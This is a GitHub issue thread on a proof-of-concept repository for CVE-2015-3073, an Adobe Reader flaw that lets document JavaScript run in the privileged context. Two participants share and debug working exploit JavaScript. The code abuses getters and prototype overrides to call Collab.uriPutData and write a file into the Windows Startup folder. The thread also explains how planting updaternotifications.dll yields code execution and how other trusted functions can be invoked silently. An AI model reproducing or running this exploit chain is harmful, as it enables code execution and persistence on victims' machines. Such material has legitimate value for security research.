AFParseDate parameter

[ghost]

var ret = AFParseDate("1:1:1:1:1:1",o,stuff,parentObj,o); should be var ret = AFParseDate("1:1:1:1:1:1",o,myObj,parentObj,o);

[reigningshells]

Good catch. I tried to clean it up to make it easier to read and missed a spot. Thanks!

[ghost]

By the way, have you found a way to call app.getPath("user") and get the return value ? I'm trying to write the data directly to Startup folder of the user

[reigningshells]

filePath = "smb://localhost/C$/" + app.getPath("user").split("/").slice(2,4).join("/") + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup";

Works for me on Windows 7 Pro

[ghost]

function exploit(myObj,parentObj) {
    var filePath = "smb://localhost/C$/" + app.getPath("user").split("/").slice(2,4).join("/") + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup";
    var args = {
        cFileURI: filePath, 
        oData: parentObj.getDataObjectContents("wow.txt"),
        cURL: "http://www.doesntmatter.com"
    }   
    var obj = {}
    obj.__defineGetter__("attr", function() {
        Collab = {"isDocCenterURL":myObj.f}
        Collab.__proto__ = myObj;
        tester = app;
        app = {"execDialog":function(args) { return null;}}
        app.__proto__ = tester;

        return args;
    });

    try {
        CBSharedReviewIfOfflineDialog(obj["attr"],"A");
    } 
    catch (e) {
        app.alert(e);
    }
}

myObj = {"f": Collab.uriPutData}
myObj.__proto__ = Collab;

NotAllowedError: Security settings prevent access to this property or method.
App.getPath:897:Document-Level:exploit

It's surprising that it works for you! What version of Adobe do you have ? I've used 11.0.9.29.

Also.. I'm quite surprised they wrote that 11.* is vulnerable.. did they find a way to bypass the adobe sandbox ?

[10:26/22:33:20] NtCreateFile: STATUS_ACCESS_DENIED
[10:26/22:33:20] real path: \??\UNC\localhost\C$\testfolder\updaternotifications.dll
[10:26/22:33:20] Consider modifying policy using these policy rules: FILES_ALLOW_ANY or FILES_ALLOW_DIR_ANY

[reigningshells]

It doesn't actually bypass the sandbox, this is just a javascript api bypass to allow you to execute javascript code in the trusted zone. The javascript code is only writing to disk, but if you can write that DLL to the proper location, adobe will use it, granting you code execution. I tested this on Windows 7 Pro running Acrobat Pro 11.0.10. My box is locked down in a very specific way that I cannot write to the startup folder, but alerting that variable does give me the proper path to the location on my box. Your app.getPath("user") seems to be giving you a very different result. It also looks like you are trying to write somewhere you don't have access to write. When I was testing this I always tried to write to temp or c:\users\public\documents. I would try hard coding a value in, specifically somewhere in public where you know everyone has write access to, and once you are sure that's working by confirming the file has been written to disk, continuing from there. I started with a text file attachment to ensure I wasn't having any problems there, since AV could be a potential issue depending on what you are attaching to the document to be written as updaternotifications.dll

[ghost]

Yeah, well sadly with Adobe Reader 11.0.9 there's that feature called "Sandbox Protections" and if you attempt to write something on the disk, it will block it... but if you disable it, the file is created... launchURL() works...

For more info: https://media.blackhat.com/bh-us-11/Sabanal/BH_US_11_SabanalYason_Readerx_WP.pdf

[reigningshells]

I don't think you're quite grasping what this does. Acrobat JavaScript API contains trusted functions, such as launchURL that only run in the privileged context. If you just add JavaScript that calls app.launchURL it will prompt the user because you aren't executing in the privileged context. If you use the exploit to execute the call in the trusted zone it won't prompt the user, because it doesn't need permissions as it's already running in the trusted zone or privileged context. If that works you are executing in the trusted zone and have the exploit working. Next you can just go through the API and replace it with any trusted function you want. I watched ZDI's live demo at Defcon and performed a live demo myself at a much smaller conference for Red Teams. Not sure what problems you're running into but the method works as demonstrated by numerous people and it's now included with Core Impact.

[reigningshells]

Don't think the video has been posted yet but this might help:

https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON-23-Hariri-Spelman-Gorenc-Abusing-Adobe-Readers-JavaScript-APIs.pdf

ZDI discovered the issue, reported it, then presented it at Defcon. Their presentation fills in a lot of the gaps in this PDF and includes a live demonstration.

[ghost]

Yeah, already seen it! Good material. Sadly, can't find the live demonstration anywhere yet

On Wed, Nov 4, 2015 at 8:19 PM, reigningshells notifications@github.com wrote:

Don't think the video has been posted yet but this might help:

https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON-23-Hariri-Spelman-Gorenc-Abusing-Adobe-Readers-JavaScript-APIs.pdf

ZDI discovered the issue, reported it, then presented it at Defcon. Their presentation fills in a lot of the gaps in this PDF and includes a live demonstration.

— Reply to this email directly or view it on GitHub https://github.com/reigningshells/CVE-2015-3073/issues/1#issuecomment-153923227 .

Francis Lacoste